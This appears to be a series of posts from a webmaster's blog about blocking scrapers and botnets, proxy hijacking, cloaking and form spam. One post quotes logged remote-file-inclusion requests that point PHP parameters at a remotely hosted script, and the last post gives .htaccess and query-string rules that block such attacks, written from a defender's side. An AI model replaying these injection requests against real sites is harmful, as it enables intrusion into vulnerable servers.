Rehabilitating Massive Amounts of 404 Errors

One of my sites used to get as many as 100K 404 errors in a single month.

Leading cause of this problem?

SEARCH ENGINES!

That's correct, the #1 leading cause was search engines but they were just a symptom of a bigger problem and not the root cause. Sloppy scrapers and crappy wannabe search engines and directories that mucked up the URLs were the true culprit. Then the major search engines crawled these sloppy sites, indexed those mucked up URLs, and that's when all the 404 fun starts.

Obviously my bot blocking stopped the scraping so the source of the mucked up URLs eventually faded away but that still left a serious amount of junk in the search engine crawler queues to clean up.

Some of the links had everything from an ellipsis in the middle to fragments of a javascript OnClick() appended to the link. My personal favorites were the Windows script kiddies that don't realize Linux servers are case sensitive and converted all my links to lower case. There were lots of other errors but you kind of get the point of what kind of damage can be inflicted with homemade crawlers written by incompetent assholes.

There were obvious solutions to use to clean up the search engines but those didn't address the immediate issue of visitors hitting 404 errors. Since I didn't want any actual visitors hitting these mucked up links to get a 404 error page, I set about logging and redirecting all the 404 errors that could be recovered to the actual intended page. Many of the mucked up links contained enough of the original path that I could identify the original page and put the request back where it belonged. Over a period of time the corrections began to stick in the search engines and eventually the 404 responses dwindled to a much smaller and manageable number.

Just another reason to be a diligent in blocking unwanted crawlers and scrapers as nothing good ever came from letting them crawl.

Are Domain Parks Playing Unfairly in Google?

John Andrews has been writing about the domainers becoming publishers:

The next wave of the competitive internet has arrrived, and it’s driven by the Domainers. No, not parked pages, and no, not typo squatters. Domainers as publishers.

After reading the post I was thinking "So what? They'll still have to fight for SE traffic just like everyone else except the added advantage of the premium domain names which will get type-in traffic and maybe rank a little better."

Well, I was sorely mistaken that it would still be even close to a level playing field as the domainers are using their domain park network to generate many thousands of backlinks in Google and Yahoo.

My initial investigation of all these backlinks in Google and Yahoo showed different links in the live sites I visited vs. Google or Yahoo cache which means they might be cloaking. The page cache always had specific links to their publisher sites on parked pages when the search engines crawled, but it'll be hard to prove it wasn't coincidence unless this situation persists over time.

The real question is why do the search engines index domain park sites in the first place?

The lame answer you'll get is "in case they turn into an actual website".

OK, crawl the sites, fine, but why should those parked pages show up in the search results or be allowed to influence page rank before they become an actual site of value?

We all know the an$wer to that que$tion a$ well.

Proxy Hijacking Humor

Instead of all the serious posts about Google Proxy Hijacking it's time for a little bit of humor, very little, my apologies in advance.

Riddle:

Q: What do you call thousands of PhD's that can't stop simple proxy hijacking of your website?

A: Google!

Knock Knock Joke:

a: KNOCK KNOCK!

b: Who's there?

a: Proxy!

b: Proxy who?

a: Proxy who Google crawls through to hijack your site!

Brain Teaser:

What does the following URL represent in Google SERPs?

http://someproxysite.com/nph-page.pl/000000A/http/www.airplane.com

Answer: If you said "Airplane Hijacking" you are correct!

And now, a sad light bulb joke:

Q: How many proxy sites does it take to screw in a light bulb?

A: None. Proxy sites get Google to hijack a light bulb that's already screwed in.

More airplane humor:

Q: What's the difference between a website and a 747?

A: Proxy sites can't get Google to hijack a 747!

Last but not least...

Q: What do you call a good proxy site?

A: Offline.

Ok, you can groan, boo and hiss now.

Dynamic Robots.txt is NOT Cloaking!

If I read just one more post that claims using dynamic robots.txt files is a form of CLOAKING it might be enough to drive me so far over the edge that it would make "going postal" look pale by comparison.

For the last time, I'm going to explain why it's NOT CLOAKING to the mental midgets that keep clinging to this belief so they will stop this idiotic chant once and for all.

Cloaking is a deceptive practice used to trick visitors into clicking on links in the search engine and then showing the visitor something else altogether, a bait and switch practice. Technically speaking, cloaking is a process where you to show specific page content to a search engine that crawls and indexes your site and show different content to people that visit your site via those search results from that search engine.

Robots.txt files are never indexed in a search engine, therefore they will never appear in the search results for that search engine, therefore a human will never see robots.txt in the search engine, click on it, and see a different result on your website.

See? NO FUCKING CLOAKING INVOLVED!

Since the robots.txt file is only for robots, and humans shouldn't be looking at your robots.txt file in the first place, then showing the human "Disallow: \" is perfectly valid although you may show an actual robot other things as the human isn't allowed to crawl.

Let's face it, some of the stuff in our robots.txt file might be information we don't want people looking at or hacking around as it's just that: PRIVATE.

Additionally, robots.txt tells all of the other scrapers and various bad bots what user agents are allowed so if you're allowing some less than secure bot to crawl your site, the scrapers can adapt to that user agent to gain unfettered crawl access.

Dynamic robots.txt is ultimately about security, it's not about cloaking, and nosy people or unauthorized bots that look at robots.txt are sometimes instantly flagged as denied and blocked from further site access so keep your nose out and you won't have any problems.

If you still think it's cloaking, consider becoming a temple priest for the goddess Hathor as a career in logical endeavors will probably be too elusive.

Too Much FyberSpider In My Site's Diet

Found this FyberSpider thing that used to crawl from a Comcast address and has apparently grown up and is crawling from a real dedicated server now.

The ip was 69.36.5.45 and the reverse DNS claims to be server.fybersearch.net and sure enough there something called FyberSearch with what appears to be a functional search page. The results actually appear to be populated with data collected from their crawl, trade secret, don't ask.

It asked for robots.txt but doesn't have the user agent set properly so it won't get past many bot blockers, assuming it actually honors robots.txt, until they fix that little bug.

69.36.5.45 "GET /robots.txt HTTP/1.0" "Python-urllib/1.15"
69.36.5.45 "GET / HTTP/1.0" "FyberSpider"

Here's the data center info if you want to block it:

OrgName: JTL Networks Inc.
NetRange: 69.36.0.0 - 69.36.15.255

The search page has issues finding words in the one page I allowed to be indexed so I'm not terribly impressed, NEXT!

Al Gore's Son Arrested in Harrowing Hybrid Hijinx

I've never let anyone else post a guest article here before but this is just so true and so funny it needed to be shared with my readers.

Enjoy.

Guest post by Larry.

so al gore's son got arrested. again. the story has one detail that is so unbelievable that they should probably throw the entire case out.

is it unbelievable that al gore's son was arrested?

no

is it unbelievable that al gore's son was arrested again? for the second or third time?

no

is it unbelievable that al gore's son was arrested for the third time on penny ante drug charges?

no

is it unbelievable that al 3 was smoking marijuana in his car in the middle of the night?

no

is it unbelievable that he had some prescription drugs in the car with him?

no

is it unbelievable that some drugs includes quantities of xanax, valium, vicodin, adderall and soma?

no

is it unbelievable that of the prescriptions for some xanax, valium, vicodin, adderall and soma, none were in his name?

no

is it unbelievable that he was driving at 2 a.m.?

no

is it unbelievable that he was driving his prius at 100 miles per hour?

damn right it is.

100 mph in a prius? maybe if he drove it off a cliff and it was in free fall or scotty was beaming it up. down the road with tires on the pavement, i'd have to see it to believe it. clearly the whole case lacks probable cause for the traffic stop. it's a set up. bush making sure al doesn't get in the race. cause you know in this country you can't be president if your son is a jackass. wait so how did 41 get in? case dismissed, bogus traffic stop. they should have said, failed to signal a lane change like they usually do when they want to do illegal stops.

Google Proxy Hijacking - Myths, Urban Legends and Raw Truths

If you aren't a regular Webmaster World reader then you probably missed the most recent incarnation on the Google Proxy Hijacking situation where I had to step in and correct a lot of misinformation about Proxy Hijacking.

Go read the following:
Proxy Server URLs Can Hijack Your Google Ranking

Lots of good information there once you weed through all the misconceptions.

If you read that entire thread and still have any questions, feel free to ask!

Dear Amazon AWS Group Part Deux

Back in November I wrote an open letter to the Amazon AWS Group about trying to get them to stop using the default user agent "Java/1.5.0_09".

Today I noticed that they gave me a clear response to my open request:

216.182.228.223 [domU-12-31-33-00-02-01.usma1.compute.amazonaws.com.]
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461) Java/1.5.0_09"

Oh yes, prefixing "Java/1.5.0_09" with an MSIE 6.0 user agent is MUCH better.... NOT!

Must've been getting blocked from crawling too many sites that block the default Java UA.

Nice try guys, but that's really fucking lame.

Easy To Spot AlphaServer Botnet

Sometimes when a distributed botnet hits your site it's quite trivial to spot their collective effort because they're using a slightly offbeat user agent that's not terribly common in the first place combined with the associated speed and time of access.

Here's the IPs and user agent used:

76.190.183.150 [cpe-76-190-183-150.neo.res.rr.com.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

71.205.86.12 [c-71-205-86-12.hsd1.mi.comcast.net.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

67.160.41.82 [c-67-160-41-82.hsd1.wa.comcast.net.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

70.224.38.36 [adsl-70-224-38-36.dsl.sbndin.ameritech.net.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

75.84.251.65 [cpe-75-84-251-65.socal.res.rr.com.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

72.232.65.34 [72.232.65.34.svservers.com.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

That little group of IPs all hit within 2 minutes of each other and came from both hosting centers and residential locations, definitely a collaborative effort, most likely a botnet.

I've seen more little attacks/scrapes like this than you can imagine but this particular user agent struck me a amusing as it's almost a desperate cry to get caught, like they're flaunting it in our faces that many of our machines are hacked.

Javascript Cloaked Spam Pages Baffle Search Engines

Recently I ran across a large series of scraper sites that are the ultimate in openly cloaking to the search engines. The pages I see when I view the source are the same pages cached by the search engines, nothing special there so a search engine crawling outside it's IP range to check for cloaking would see the same page.

However, access those pages with javascript enabled and you are instantly redirected to a wide variety of affiliate pages. The trick is these pages all have a single embedded link to a heavily obfuscated page of javascript that redirects you to the affiliate pages.

The scraping to build these cloaked pages came from 216.75.15.26 which is in the cari.net IP range:

OrgName: California Regional Intranet, Inc.
NetRange: 216.75.0.0 - 216.75.63.255

Just goes to show you that traditional cloaking is a thing of the past as the war has escalated into obfuscated javascript. The only way I see the search engines winning this war is to actually execute that javascript and see if the resulting action was to take the visitor away from the page.

Just goes to show that people claiming here in comments recently that "Stealth crawling is necessary to keep honest webmasters honest" are out of their league and don't really know what the score is on the web as the sites aren't honest when they are in plain site, no stealth needed, they worked around it.

Wonder what they'll think up next?

Blog Feed Messed Up

I just noticed that the blogger feed is all messed up and my reorganizing old posts into categories and such appears to also dump them into the feed as something new.

Stupid blogger.

Sorry for the problem, but there doesn't appear to be much I can do about this.

Be prepared for a bumpy ride of summer reruns as I organize the blog!

Contact Us Form Spammers

Well boys and girls, you didn't really think that hiding your email address behind a CONTACT US form would stop spammers did you?

I have all of my forms on my website protected except one page which I left wide open with no protection just to allow anyone having trouble with the site easily contact me. That page has just a simple form, no captcha, no referrer checks, no bot blocking, nothing, it's completely open as a safety valve for access from end users.

However, some dick head in Oman with nothing better to do has apparently decided to make it his personal goal in life to automatically post to this form.

You have to ask yourself, why is this random form page so important?

The answer is obvious as everyone hides behind CONTACT US forms and no longer post email addresses which the spammers can no longer harvest from your web page. Now it would appear they are harvesting any page with a FORM on it and trying to set up the parameters that allow them to submit spam through all these forms.

I don't run any off-the-shelf Open Source software so there is no software fingerprint on any of my pages that the mass spammers could easily find, so this is an act of desperation in manually building a bigger database of sites to spam.

Just to prove this theory, I checked to see what else this spammer was trying to do on my site besides trying to spam my contact page. Big shock, the same IP address is trying to spam the other protected pages.

Here's some other info collected from the same IP:

62.231.243.137 "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040115 Galeon/1.3.12" "massive dick sex" http://bratuha.info

62.231.243.137 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "Online tramadol. Cheap tramadol." http://

I never see any of the above junk in my Inbox or anywhere else as it's all submitted on protected pages so a little information is automatically logged and the rest of the crap discarded.

So how can I protect this form from automation and still leave it open to not impact other visitors?

We'll use one of my old favorites, a simplistic but effective approach, which is RANDOM FIELD NAMES. Each time the form is displayed the field names change so the spammer can't pre-program any code to automatically populate the fields because he won't know their name.

An argument could be made that the spammer could read the page and use the field position, but that would assume the position in the HTML is the same as the position on the page, good old CSS to the rescue.

If I want to really make it just about impossible for the spammer to figure out the page and still not use javascript or a captcha, I might use 10-20 random fields with only 3 of them chosen at random to be visible so the user would never know the difference.

Golly gee Mr. Spammer, which of those 20 random fields should you fill in?

Be careful because filling the wrong field, the field the visitor can't see, is yet another form of CAPTCHA, so choose your field wisely otherwise you're automatically going to be banned.

Maybe to be real sneaky, I'll just add new fields to the form and leave the old obsolete fields on the page so if they get filled in I know it's an old spammer script.

Just remember, keeping your email address off the web site doesn't mean you won't get spammed so secure those contact pages today!

Doctor Zero Goes Scraping

Some scraper used all zeros in place of the parameters normally found in an MSIE or Firefox browser user agent.

Just look at this stupid crap:

86.21.47.45 "Mozilla/5.0 (000000000; 0; 000 000 00 0 000000; 00000; 0000000000) 00000000000000 000000000000000"

86.21.47.45 "Mozilla/5.0 (000000000; 0; 000 000 00 0; 00) 000000000000000 0000000 0000 000000 000000000000"

You know what he got for his efforts?

A big fat fucking ZERO in return, nada, zip, zilch, goose egg.

I'll bet he got the same number as a grade on his computer science project in school too!

Jesus Can't Help You Surf

Jesus may be his savior, but my bot blocker is mine.

68.46.236.235 [c-68-46-236-235.hsd1.fl.comcast.net.]
requested 1 pages as "Jesus Is My Savior"

Sorry pal, but to get access to my site you'll need something called Mozilla.

AMEN

TextDigger Caught Using Stealth Shovel

Some semantic search thing called TextDigger stumbled into my spider trap today.

I have nothing against semantic search, I'm not an anti-semantite (that's not the word you think it is, read it twice, i made it up just to be punny), but I'm definitely anti-stealth crawler.

According to the bot blocker, TextDigger requested 136 pages after being challenged while using the following user agent:

64.124.138.164 [nat1.textdigger.com]
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Here's their IP range:

TextDigger MFN-B849-64-124-138-160-28 (NET-64-124-138-160-1)
64.124.138.160 - 64.124.138.175

Not sure if what hit my server was their actual main crawler or not, but they aren't gaining any brownie points with me crawling in stealth for any reason.

BotNets Hosting Files On Lycos UK

Found this amusing little botnet attack for random vulnerabilities today that was pointing to Lycos.co.uk as the host of their little file.

85.25.148.223 - "GET //article.php?id=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.803"

85.25.148.223 - "GET //rpm-pl/php-manual-ru.html?hl=http://members.lycos.co.uk/modelteam/echo.txt? " "libwww-perl/5.803"

193.144.43.198 - "GET //index.php?newlang=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.65"

193.144.43.198 - "GET //rpm-pl/php-manual-ru.html?hl=http://members.lycos.co.uk/modelteam/echo.txt?"
"libwww-perl/5.65"

193.144.43.198 - "GET //article.php?id=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.65"

66.194.211.86 - "GET //article.php?id=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.79"

66.194.211.86 - "GET //index.php?newlang=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.79"

Quite amusing that the botnets are now leveraging large companies member services to do their evil bidding.

Bot Blocker Tracking More Than 80K Unique IPs

Lately I've been doing some analysis work on my database of IPs that I'm tracking for bad behavior and it exceeded 80K unique IPs. Many of these are from data centers, bot nets, home-based scrapers and then some, but it's a staggering number when it exceeds 80K.

People always wonder why I'm such an anti-scrape nazi but it's really not hard to see the problem when you multiply 80K IPs trying to scrape an excess of 40K pages, which is a potential for having over 3 BILLION pages scraped in the last year.

Here's the number with all the zeroes: 3,200,000,000 pages.

OK, that's really a lot of pages and there's no way I'm paying for that kind of bandwidth.

I seriously doubt they would ever hit the maximum pages but there's no way I'm unlocking the doors and let them run rampant just to find out how bad it would really get.

Here's a sample of 3 greedy fuckers that paid a visit just today:

82.34.200.237 [82-34-200-237.cable.ubr05.hari.blueyonder.co.uk.] requested 710 pages as "Mozilla/4.0 (compatible; GoogleToolbar 4.0.1020.2544-big; Windows XP 5.1; MSIE 6.0.2900.2180)"

70.80.186.223 [modemcable223.186-80-70.mc.videotron.ca.] requested 1071 pages as "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

201.58.219.234 [20158219234.user.veloxzone.com.br.] requested 329 pages as "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)"

They only got a couple of pages before getting nothing but garbage, but they just keep trying. Based on the location of the IPs, I'm thinking it might be compromised machines in a botnet trying to scrape from stealth locations, hard to say.

The best part is, they're now charter members of my AUTO-QUARANTINE list of IPs meaning they're blocked from accessing any pages on their next trip unless a human is at the controls, and even then, they could get locked out real fast if they aren't careful!

Top 10 Signs Your Website Has Made it Big

People ask me every now and then how to tell when their website has finally hit the big time.

In response, I compiled a Top Ten list of things that come to mind based on my own experience.

Top Ten Signs Your Site Has Made it Big

1. Your site traffic is higher than you could ever imagine and you pinch yourself daily to make sure you're not dreaming.
   
   
2. Email fills your Inbox non-stop all day long with no prayer of it all ever being answered.
   
   
3. Other webmasters constantly pester you to swap links with their site and you already have so many quality back links you can say "No Thanks!" without even checking their site.
   
   
4. People from around the country (world) start calling your phone number that don't comprehend the terms "9-5 PST".
   
   
5. You don't go searching new business opportunities, they seek you out.
   
   
6. People ask your advice for all sorts of business related topics that previously wouldn't have asked you for the time of day.
   
   
7. Media marketing companies call you to get their ad network on your site and you can easily decline all those offers because they simply don't pay enough for your space.
   
   
8. Everyone wants their products to be displayed on your site and you can actually negotiate a better payout than the rest of their affiliates.
   
   
9. Hiring employees or contractors to run your website and help with your business issues is suddenly a possibility.
   
   
10. And the top sign your site has made it big:
    You start cashing really big fat checks on a regular basis.
    

Hosting Company Blocks Bots

Looks like we overlooked this little press release last year when Mecca Hosting announced Mecca Hosting Bounces Bad Bots from their servers.

Here's the good stuff:

Mecca Hosting, a leader in providing customized hosting solutions, has just released a new system to detect and block suspicious automated programs or "bots". Mecca Hosting's new system, by blocking these bad bots, helps protect customer's intellectual property, e-mail addresses, and prevents blog spamming and hacker attacks. This new system can detect good bots, like Search Engines and specialized tools, to allow them access to websites, while blocking the bad ones. This new technology will result in vastly increased website uptime and performance, due to the expected reduction in hack attempts; mainly because hackers use automated tools to find system vulnerabilities.

Sounds good, but how good is it?

Just to see if it basically worked, I used a few tools to try to snag a page or two and got bitch slapped with 403 errors.

Not bad Mecca, not bad.

If we could just get all hosts to do this, and even dedicated server companies to offer this kind of technology, maybe the scrapers would already be out of business.

Block LIBWWW-PERL and web addresses to protect your site from botnets

Not only do I block all accesses from libwww-perl, I also log what they were looking for which turns up an amazing amount of botnet hits on a daily basis just randomly hitting websites trying to find a way inside.

The first trick to securing your site from the script kiddies is to block any user agent that contains "libwww-perl" which will stop the dumb ones from owning your site.

Try adding this to your .htaccess file:

RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]

The next trick is to filter out things in your QUERY_STRING such as "=http:" which is a typical in the botnet scripts that attempt to upload files to vulnerable software. This won't impact most other applications because file uploads tend to be done via a form and a POST, not a GET command.

With these 2 minor security changes you've eliminated many vulnerabilities from botnet attackers and blocked their method of uploading files.

It's not 100% but it may be enough to help you survive the next time your Open Source application gets a vulnerability until you can actually apply the patch.